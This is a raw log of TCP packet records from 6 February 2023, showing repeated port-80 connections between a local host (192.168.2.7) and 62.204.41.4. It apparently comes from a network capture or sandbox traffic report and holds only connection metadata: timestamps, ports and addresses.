Feb 6, 2023 18:38:11.886008024 CET	50220	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:11.947808981 CET	80	50220	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:11.947915077 CET	50220	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:11.948231936 CET	80	50219	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:11.948249102 CET	50220	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:11.948302031 CET	50219	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:12.009978056 CET	80	50220	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:12.012115955 CET	80	50220	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:12.012228966 CET	50220	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:12.125777960 CET	50220	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:12.126379967 CET	50221	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:12.186137915 CET	80	50221	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:12.186237097 CET	50221	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:12.187047958 CET	50221	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:12.187805891 CET	80	50220	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:12.187968016 CET	50220	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:12.247404099 CET	80	50221	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:12.251094103 CET	80	50221	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:12.251171112 CET	50221	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:12.359287024 CET	50221	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:12.359654903 CET	50222	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:12.418983936 CET	80	50222	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:12.419128895 CET	80	50221	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:12.419246912 CET	50222	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:12.421803951 CET	50221	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:12.425383091 CET	50222	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:12.486871004 CET	80	50222	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:12.489129066 CET	80	50222	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:12.489247084 CET	50222	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:12.594584942 CET	50222	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:12.595258951 CET	50223	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:12.654891014 CET	80	50222	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:12.654979944 CET	80	50223	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:12.655070066 CET	50222	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:12.655122042 CET	50223	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:12.656455994 CET	50223	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:12.716231108 CET	80	50223	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:12.718499899 CET	80	50223	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:12.718647003 CET	50223	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:12.827450037 CET	50223	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:12.828351021 CET	50224	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:12.887010098 CET	80	50223	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:12.889523029 CET	50223	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:12.890820980 CET	80	50224	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:12.893934965 CET	50224	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:12.894334078 CET	50224	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:12.956661940 CET	80	50224	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:12.959162951 CET	80	50224	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:12.959327936 CET	50224	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:13.063186884 CET	50224	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:13.064841986 CET	50225	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:13.125045061 CET	80	50225	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:13.125833988 CET	80	50224	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:13.126014948 CET	50224	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:13.126471043 CET	50225	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:13.126471043 CET	50225	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:13.186645985 CET	80	50225	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:13.190808058 CET	80	50225	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:13.193835974 CET	50225	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:13.312630892 CET	50225	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:13.313318968 CET	50226	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:13.372931957 CET	80	50225	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:13.373224020 CET	50225	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:13.374819040 CET	80	50226	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:13.374980927 CET	50226	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:13.375751972 CET	50226	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:13.437371016 CET	80	50226	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:13.441234112 CET	80	50226	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:13.445982933 CET	50226	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:13.562014103 CET	50226	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:13.562571049 CET	50227	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:13.623316050 CET	80	50227	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:13.623536110 CET	50227	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:13.623634100 CET	80	50226	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:13.623706102 CET	50226	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:13.624630928 CET	50227	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:13.684155941 CET	80	50227	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:13.687376976 CET	80	50227	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:13.687581062 CET	50227	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:13.797643900 CET	50227	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:13.799072981 CET	50228	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:13.857279062 CET	80	50227	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:13.857628107 CET	50227	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:13.861651897 CET	80	50228	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:13.861896992 CET	50228	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:13.886569023 CET	50228	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:13.949100018 CET	80	50228	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:13.951585054 CET	80	50228	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:13.951741934 CET	50228	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:14.070338964 CET	50228	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:14.071204901 CET	50229	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:14.131102085 CET	80	50229	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:14.131381989 CET	50229	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:14.131855965 CET	50229	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:14.132926941 CET	80	50228	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:14.133052111 CET	50228	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:14.193628073 CET	80	50229	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:14.197653055 CET	80	50229	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:14.197802067 CET	50229	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:14.313194990 CET	50229	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:14.313868999 CET	50230	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:14.373147011 CET	80	50229	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:14.373431921 CET	50229	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:14.374315977 CET	80	50230	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:14.374455929 CET	50230	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:14.375520945 CET	50230	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:14.435952902 CET	80	50230	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:14.438237906 CET	80	50230	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:14.438348055 CET	50230	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:14.546731949 CET	50230	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:14.547348976 CET	50231	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:14.607521057 CET	80	50230	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:14.607616901 CET	80	50231	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:14.607686996 CET	50230	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:14.607795000 CET	50231	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:14.609316111 CET	50231	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:14.669656992 CET	80	50231	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:14.672333002 CET	80	50231	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:14.672411919 CET	50231	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:14.781205893 CET	50231	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:14.781837940 CET	50232	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:14.841613054 CET	80	50231	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:14.841715097 CET	50231	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:14.842493057 CET	80	50232	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:14.842597961 CET	50232	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:14.844485998 CET	50232	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:14.905267954 CET	80	50232	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:14.907803059 CET	80	50232	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:14.907883883 CET	50232	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:15.015274048 CET	50232	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:15.015930891 CET	50233	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:15.076256037 CET	80	50232	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:15.076329947 CET	50232	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:15.078396082 CET	80	50233	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:15.078581095 CET	50233	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:15.078905106 CET	50233	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:15.141099930 CET	80	50233	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:15.144630909 CET	80	50233	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:15.144723892 CET	50233	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:15.257384062 CET	50233	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:15.258027077 CET	50234	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:15.319591045 CET	80	50234	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:15.319622040 CET	80	50233	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:15.319768906 CET	50233	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:15.320265055 CET	50234	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:15.320717096 CET	50234	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:15.382201910 CET	80	50234	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:15.384686947 CET	80	50234	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:15.384779930 CET	50234	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:15.503739119 CET	50234	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:15.504667044 CET	50235	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:15.565412045 CET	80	50234	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:15.566134930 CET	80	50235	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:15.566320896 CET	50235	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:15.566337109 CET	50234	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:15.569377899 CET	50235	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:15.630835056 CET	80	50235	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:15.633167982 CET	80	50235	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:15.633255005 CET	50235	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:15.750260115 CET	50235	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:15.751194000 CET	50236	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:15.811717987 CET	80	50235	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:15.814192057 CET	50235	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:15.814635992 CET	80	50236	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:15.814758062 CET	50236	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:15.815188885 CET	50236	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:15.877603054 CET	80	50236	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:15.879889965 CET	80	50236	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:15.880240917 CET	50236	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:15.984519958 CET	50236	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:15.985378027 CET	50237	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:16.046988010 CET	80	50236	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:16.047116995 CET	50236	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:16.047638893 CET	80	50237	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:16.047748089 CET	50237	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:16.048099041 CET	50237	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:16.110738039 CET	80	50237	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:16.114763975 CET	80	50237	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:16.118211985 CET	50237	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:16.234869003 CET	50237	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:16.236253023 CET	50238	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:16.298015118 CET	80	50237	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:16.298204899 CET	50237	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:16.298657894 CET	80	50238	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:16.298821926 CET	50238	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:16.299287081 CET	50238	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:16.361357927 CET	80	50238	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:16.364350080 CET	80	50238	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:16.368311882 CET	50238	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:16.492665052 CET	50238	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:16.493407965 CET	50239	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:16.553860903 CET	80	50239	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:16.554275990 CET	80	50238	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:16.554461002 CET	50238	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:16.554485083 CET	50239	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:16.554900885 CET	50239	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:16.615066051 CET	80	50239	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:16.617705107 CET	80	50239	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:16.617832899 CET	50239	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:16.734250069 CET	50239	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:16.734980106 CET	50240	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:16.794778109 CET	80	50239	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:16.794922113 CET	50239	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:16.796339035 CET	80	50240	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:16.796490908 CET	50240	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:16.797444105 CET	50240	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:16.859167099 CET	80	50240	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:16.862142086 CET	80	50240	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:16.862276077 CET	50240	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:16.968988895 CET	50240	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:16.969729900 CET	50241	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:17.031886101 CET	80	50240	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:17.031919003 CET	80	50241	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:17.032038927 CET	50240	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:17.033404112 CET	50241	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:17.040111065 CET	50241	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:17.102768898 CET	80	50241	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:17.107961893 CET	80	50241	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:17.108920097 CET	50241	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:17.219739914 CET	50241	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:17.220952988 CET	50242	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:17.281609058 CET	80	50241	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:17.281651974 CET	80	50242	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:17.281766891 CET	50242	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:17.282016993 CET	50241	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:17.282352924 CET	50242	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:17.343317032 CET	80	50242	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:17.346925020 CET	80	50242	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:17.347080946 CET	50242	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:17.453660965 CET	50242	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:17.454569101 CET	50243	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:17.514683962 CET	80	50242	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:17.514858961 CET	50242	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:17.517066002 CET	80	50243	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:17.517234087 CET	50243	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:17.517771959 CET	50243	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:17.580136061 CET	80	50243	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:17.582851887 CET	80	50243	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:17.583039045 CET	50243	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:17.698029995 CET	50243	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:17.698759079 CET	50244	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:17.759414911 CET	80	50244	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:17.760139942 CET	50244	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:17.760139942 CET	50244	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:17.760556936 CET	80	50243	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:17.760703087 CET	50243	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:17.820622921 CET	80	50244	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:17.822911024 CET	80	50244	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:17.823093891 CET	50244	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:17.938129902 CET	50245	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:17.938272953 CET	50244	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:17.998743057 CET	80	50244	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:17.999675989 CET	50244	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:17.999864101 CET	80	50245	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:17.999974966 CET	50245	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:18.033799887 CET	50245	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:18.095381975 CET	80	50245	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:18.099890947 CET	80	50245	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:18.099972010 CET	50245	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:18.203464031 CET	50245	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:18.204130888 CET	50246	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:18.265091896 CET	80	50245	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:18.265320063 CET	50245	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:18.265508890 CET	80	50246	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:18.265642881 CET	50246	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:18.266166925 CET	50246	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:18.327686071 CET	80	50246	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:18.329782963 CET	80	50246	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:18.329965115 CET	50246	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:18.438915014 CET	50246	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:18.439624071 CET	50247	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:18.500576973 CET	80	50246	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:18.500698090 CET	50246	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:18.500842094 CET	80	50247	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:18.500981092 CET	50247	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:18.501382113 CET	50247	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:18.562870979 CET	80	50247	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:18.565172911 CET	80	50247	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:18.565294981 CET	50247	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:18.671951056 CET	50247	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:18.672595024 CET	50248	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:18.733195066 CET	80	50248	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:18.733226061 CET	80	50247	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:18.733567953 CET	50247	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:18.734486103 CET	50248	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:18.734487057 CET	50248	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:18.795090914 CET	80	50248	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:18.797333956 CET	80	50248	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:18.800679922 CET	50248	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:18.907901049 CET	50248	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:18.909975052 CET	50249	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:18.968621969 CET	80	50248	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:18.969038010 CET	50248	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:18.971689939 CET	80	50249	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:18.971842051 CET	50249	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:18.972465992 CET	50249	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:19.034033060 CET	80	50249	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:19.037753105 CET	80	50249	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:19.037894011 CET	50249	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:19.148228884 CET	50249	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:19.149544001 CET	50250	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:19.210506916 CET	80	50249	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:19.212620974 CET	80	50250	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:19.212832928 CET	50249	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:19.212886095 CET	50250	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:19.214720964 CET	50250	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:19.277431011 CET	80	50250	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:19.280652046 CET	80	50250	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:19.286676884 CET	50250	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:19.390762091 CET	50250	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:19.391433001 CET	50251	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:19.453588963 CET	80	50250	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:19.454366922 CET	80	50251	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:19.454514027 CET	50250	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:19.454525948 CET	50251	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:19.454937935 CET	50251	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:19.517611980 CET	80	50251	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:19.519831896 CET	80	50251	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:19.522569895 CET	50251	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:19.626490116 CET	50251	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:19.628150940 CET	50252	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:19.689253092 CET	80	50252	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:19.689287901 CET	80	50251	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:19.689466953 CET	50251	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:19.689918995 CET	50252	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:19.689918995 CET	50252	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:19.750447989 CET	80	50252	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:19.752756119 CET	80	50252	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:19.752917051 CET	50252	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:19.859904051 CET	50252	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:19.860595942 CET	50253	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:19.920804977 CET	80	50252	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:19.921080112 CET	50252	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:19.922502041 CET	80	50253	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:19.922688007 CET	50253	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:19.923434973 CET	50253	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:19.984987974 CET	80	50253	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:19.989942074 CET	80	50253	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:19.990056992 CET	50253	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:20.115855932 CET	50253	80	192.168.2.7	62.204.41.4
